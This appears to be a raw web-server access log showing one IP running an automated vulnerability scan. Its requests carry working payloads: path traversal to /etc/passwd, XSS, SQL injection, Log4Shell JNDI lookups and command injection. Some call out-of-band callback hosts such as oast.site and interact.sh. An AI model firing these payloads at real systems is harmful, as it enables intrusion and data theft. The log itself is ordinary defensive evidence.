[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /x HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /install.php?page=4 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RestAPI/ImportTechnicians HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /v1/backend1 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/backend/elfinder/elfinder-cke.html HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /img/../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/geojson?url=file:///c://windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?data[performredirect]=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&page=login HTTP/1.1" 3426
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /registry/machine?app=MhsRP&appType=0&version=0&hostname=2B0Jq&ip=d5g6sfahausljekepl20kn5eac1kg6mtn.oast.site&port=0 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redash/reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goforms/menu HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /STATE_ID/123/agentLogUploader HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /language/lang HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_ignition/execute-solution HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?x=${jndi:ldap://${:-246}${:-906}.${hostName}.uri.d5g6sfahausljekepl201si7i8r5d9yim.oast.site/a} HTTP/1.1" 3426
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /getCorsFile?urlPath=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /client/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /changePassword?username=administrator HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/blade-user/user-list HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apisix/admin/migrate/export HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Side.php HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lab.html?vpath=//interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?x=${jndi:ldap://127.0.0.1 HTTP/1.1" 3426
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /;/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CxxuxWYoncRNv9XPxjdFThW4.txt HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ddns_check.ccp HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /services/pluginscript/..;/..;/..;/getFavicon?host=d5g6sfahausljekepl208hjyc1yjrnmqs.oast.site HTTP/1.1" 226
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goform/activate_process?isv&akey&hostid&count=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfide-scripts/ajax/package/cfajax.js HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi?7 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /controller/login.php?acao=autenticar HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /./RestAPI/LogonCustomization HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /templates/m/inc_head.php?q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=ping${IFS}-c${IFS}1${IFS}d5g6sfahausljekepl20hob6bnmxtokcp.oast.site HTTP/1.1" 199
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /demo/api/logout?redirect_to=/asdf%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signin?from=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /cgi-bin/gZhT6m.txt HTTP/1.1" 199
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/ HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apply.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /boafrm/formWlanRedirect?redirect-url=http://interact.sh&wlan_id=1 HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin.php?page=vfb-export HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password HTTP/1.1" 199
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_adminer/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /TransferredOutModal.php?modfunc=detail HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?rest_route=/whm/v3/themesettings HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=woocs_get_products_price_html&woocs_in_order_currency=<img%20src%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/logout?redirect_to=%0d%0aSet-Cookie:crlfinjection=1; HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=shareaholic_debug_info HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_in HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1" 226
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=window&callback=</script><img/src/onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/profile-builder/assets/misc/fallback-page.php?site_url=javascript:alert(document.domain);&message=Not+Found&site_name=404 HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfmx/CFIDE/scripts/ajax/package/cfajax.js HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/login/SysLoginUser.aspx?Login=Denied&UID=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /testrail/files.md5 HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/blade-user/user-list HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /380CxxuxWYoncRNv9XPxjdFThW4.txt HTTP/1.1" 220
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/eng/liveView?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi/ajax/telemetry.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /./RestAPI/Connection HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wiki/pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/380CyB0wlmJqEs2T8e7iBJFOKfS.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/embed-swagger/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?rest_route=/notificationx/v1/analytics HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?p=%3Cimg%20src%20onerror=alert(/XSS/)%3E&debug_url=1 HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/users/search_authors HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/pvc/v1/increase/1&post_ids=0)%20union%20select%20md5(999999999),null,null%20--%20g HTTP/1.1" 3426
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-login.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp HTTP/1.1" 3426
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(document.domain)+xx=%22test&from_url=x HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/icons_title.gif HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/ping/;%60id%60 HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?rest_route=/xs-donate-form/payment-redirect/3 HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /formLoginAuth.htm?authCode=1&userName=admin&goURL&action=login HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /karma.js HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resin-doc/;/WEB-INF/resin-web.xml HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/wc/v3/wishlist/remove_product/1&item_id=0%20union%20select%20sleep(7)%20--%20g HTTP/1.1" 3426
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=get_monthly_timetable&month=1+AND+(SELECT+6881+FROM+(SELECT(SLEEP(6)))iEAn) HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 226
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InsightPluginShowGeneralConfiguration.jspa; HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/logout?redirect_to=http://oast.pro/ HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=kc_get_thumbn&id=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1&bwg_tag_id_bwg_thumbnails_0[]=)%22%20union%20select%201,2,3,4,5,6,7,concat(md5(999999999),%200x2c,%208),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20--%20g HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?wahi=JzthbGVydChkb2N1bWVudC5kb21haW4pOy8v HTTP/1.1" 3426
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-login.php?wlcms-action=preview HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B\"id\":\"1\"%7D&props_doctor_id=1,2)+AND+(SELECT+42+FROM+(SELECT(SLEEP(6)))b HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_ignition/execute-solution HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /getCorsFile?urlPath=file:///c://windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /embed.js HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/export-cgi?category=config&arg0=startup-config.conf HTTP/1.1" 199
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?meta_ids=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&action=remove_post_meta_condition HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Forms/rpAuth_1?id=</form><iMg%20src=x%20onerror=\"prompt(document.domain)\"><form> HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /cgi-bin/bN48wr.txt HTTP/1.1" 199
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1" 3426
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signin?from=javascript:alert(document.cookie) HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crea_modelli.php?anno=2021&id_sessione&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ef9xkbujgt24&form_availability_calendar_template=1 HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /atmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /cgi-bin/gZhT6m.txt HTTP/1.1" 199
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/elFinder-2.1.9/elfinder.html HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /userportal/Controller?mode=8700&operation=1&datagrid=179&json={\"%f0%9f%a6%9e\":\"test\"} HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
